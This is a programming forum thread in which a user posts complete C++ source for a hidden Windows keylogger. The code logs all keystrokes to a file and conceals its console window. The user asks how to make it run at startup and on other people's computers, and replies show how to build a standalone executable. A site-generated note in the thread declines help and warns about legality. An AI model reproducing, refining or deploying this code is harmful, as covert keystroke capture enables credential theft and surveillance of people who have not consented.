hey all!

i created a keylogger of my own in visual c++ 2010, and included iostream, windows.h winUser.h

the problem m facing is that it runs only when visual c++ is open. as soon as i try to close it, it pops a message to stop debugging and if i go with it, keylogger stops. can anybody help me how to keep my keylogger in running position as soon as my laptop starts? i know it is very wrong to make this kind of software.. but m taking it as a fun only! not to stealing any property!

Thanks guys.. you people really helped me alot!

Dani AI

Generated

This thread documents a hobbyist experiment with keystroke capture, but no guidance will be provided here for creating, hardening, or stealth-installing keyloggers. Software that records other people’s keystrokes without their informed consent is classed as spyware, can be used to steal credentials and other private data, and is routinely described and analyzed by security vendors. See a general explainer on keyloggers for more context (Norton: What is a keylogger?). (us.norton.com)

Unauthorized monitoring can carry civil and criminal consequences; in the U.S. the Department of Justice investigates and prosecutes computer crimes through CCIPS. Real-world incidents (for example, a 2015 driver-related keylogger issue reported by security researchers) show how serious these risks are. (DOJ CCIPS, WIRED: What is a keylogger?). (justice.gov)

If the intent is legitimate learning about Windows internals or building useful background tools, pursue lawful, consented projects: accessibility helpers, hotkey utilities, input remappers, or diagnostic services. For background/always-on programs, study the official guidance on Windows Services and the Task Scheduler API rather than attempting covert input capture (How to: Create Windows Services, Task Scheduler API overview). (learn.microsoft.com)

The practical points raised earlier by and about running code inside an IDE and checking file handling are relevant for any benign project; keep experiments in isolated environments (VMs), obtain explicit consent from anyone whose input might be recorded, and avoid persistence or stealth. This preserves learning while avoiding harm.

Recommended Answers

All 6 Replies

How did you make a keylogger in VC++ without knowing how to compile the exe file and use it independently outside of the compiler?

yes i tried to run .exe file too. but it is not giving any response, still before replying to this post, i run the exe file, it blink a window but after typing this long text there is no txt file created where it was first present before while compiling it through visual.

include <iostream>

using namespace std;

include <windows.h>
include <WinUser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

/* this is the code which i used.. by running through visual, it works properly, but as soon as i close visual, it also stops working, i need a guide that how it keep on working without any comipiler, so that i can give this to other people and they can run on their pcs without any compiler*/

Allright in visual studio, at the top you will see a dropdown box with the text "debug"... change that to "release"... then build the application...

now in the folder you saved the project there will appear a "release" folder, in this folder will be the files you want, this can be run outside your application as an .exe file

Check that the return value of the following is a valid pointer :

OUTPUT_FILE = fopen(file, "a+");  // what is file?

Thanks alot guys... u always help me alot.. :) , thanks man, reffering ur comment i checked out the debug folder and the file was there...

its the LOG.txt mentioned in getasynckeystate function.

this post is now solved, .exe file has all the outputs in debug folder

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.